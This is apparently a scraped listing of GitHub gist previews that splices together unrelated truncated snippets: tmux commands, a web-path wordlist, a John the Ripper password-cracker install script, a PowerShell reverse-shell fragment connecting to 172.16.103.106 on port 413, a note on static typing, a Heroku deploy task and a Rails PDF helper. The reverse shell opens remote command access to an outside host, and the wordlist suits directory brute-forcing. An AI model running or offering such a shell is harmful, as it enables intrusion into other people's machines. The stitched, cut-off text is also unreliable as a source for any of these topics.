- Other refs: https://gist.github.com/andreyvit/2921703
start new with session name:
tmux new -s myname
attach:
/ | |
$$$lang-translate.service.js.aspx | |
$367-Million-Merger-Blocked.html | |
$defaultnav | |
${idfwbonavigation}.xml | |
$_news.php | |
$search2 | |
£º | |
.0 | |
/0 |
#!/bin/bash | |
# Centos 7 John the Ripper Installation | |
git clone https://github.com/magnumripper/JohnTheRipper.git | |
cd JohnTheRipper/src | |
git checkout bleeding-jumbo | |
./configure | |
make -s clean && make -sj4 | |
cd ../run/ | |
./john --test |
start new with session name:
tmux new -s myname
attach:
$socket = new-object System.Net.Sockets.TcpClient('172.16.103.106', 413); | |
if($socket -eq $null){exit 1} | |
$stream = $socket.GetStream(); | |
$writer = new-object System.IO.StreamWriter($stream); | |
$buffer = new-object System.Byte[] 1024; | |
$encoding = new-object System.Text.AsciiEncoding; | |
do | |
{ | |
$writer.Flush(); | |
$read = $null; |
A type is a collection of possible values. An integer can have values 0, 1, 2, 3, etc.; a boolean can have values true and false. We can imagine any type we like: for example, a HighFive type that allows the values "hi" or 5, but nothing else. It's not a string and it's not an integer; it's its own, separate type.
Statically typed languages constrain variables' types: the programming language might know, for example, that x is an Integer.
In that case, the programmer isn't allowed to say x = true
; that would be an invalid program.
The compiler will refuse to compile it, so we can't even run it.
# Deploy and rollback script for Heroku on staging and/or production | |
# Modified from: https://gist.github.com/njvitto/362873 | |
namespace :deploy do | |
PRODUCTION_APP = 'YOUR_PRODUCTION_APP_NAME_ON_HEROKU' | |
STAGING_APP = 'YOUR_STAGING_APP_NAME_ON_HEROKU' | |
desc 'Deploy to Staging on Heroku' | |
task :staging => ['deploy:set_staging_app', 'deploy:push', 'deploy:restart', 'deploy:tag'] | |
desc 'Deploy to Production on Heroku' |
##Refs
Add to Gemfile: gem 'wicked_pdf'
#in config/initializers/wicked_pdf.rb | |
module WickedPdfHelper | |
def wicked_pdf_stylesheet_link_tag(*sources) | |
sources.collect { |source| | |
"<style type='text/css'>#{Rails.application.assets.find_asset("#{source}.css")}</style>" | |
}.join("\n").gsub(/url\(['"](.+)['"]\)(.+)/,%[url("#{wicked_pdf_image_location("\\1")}")\\2]).html_safe | |
end | |
def wicked_pdf_image_tag(img, options={}) | |
image_tag wicked_pdf_image_location(img), options |